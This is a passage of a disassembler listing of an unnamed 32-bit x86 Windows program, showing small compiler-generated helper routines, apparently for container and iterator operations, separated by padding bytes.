		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A60	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A90	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AD0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B00	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415B00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BBA:				; CODE XREF: sub_415BA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BBA
		pop	edi


loc_415BED:				; CODE XREF: sub_415BA0+13j
		pop	esi
		retn	0Ch
sub_415BA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C20	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D3A


loc_415CF8:				; CODE XREF: sub_415CE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D3A:				; CODE XREF: sub_415CE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D70	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D85
		mov	edi, esi


loc_415D85:				; CODE XREF: ___:00415D81j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D9A
		mov	edi, esi


loc_415D9A:				; CODE XREF: ___:00415D96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DC0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DE0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E00	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E20	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E40	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E70	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415EA0	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415EA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415ED0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415ED0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F70	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41608A


loc_416048:				; CODE XREF: sub_416030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41608A:				; CODE XREF: sub_416030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160C0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160D5
		mov	edi, esi


loc_4160D5:				; CODE XREF: ___:004160D1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160EA
		mov	edi, esi


loc_4160EA:				; CODE XREF: ___:004160E6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416110	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416150	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416170	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416190	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161F0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416220	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416220	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163DA


loc_416398:				; CODE XREF: sub_416380+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416398
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_416380+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416380	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416410	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416425
		mov	edi, esi


loc_416425:				; CODE XREF: ___:00416421j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41643A
		mov	edi, esi


loc_41643A:				; CODE XREF: ___:00416436j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416460	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416460	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416480	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416480	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164A0	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4164A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416510	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416540	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416590	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165C0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165E0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416610	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416610	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416630	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416630	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416650	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416650	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416670	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166A0	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4166A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

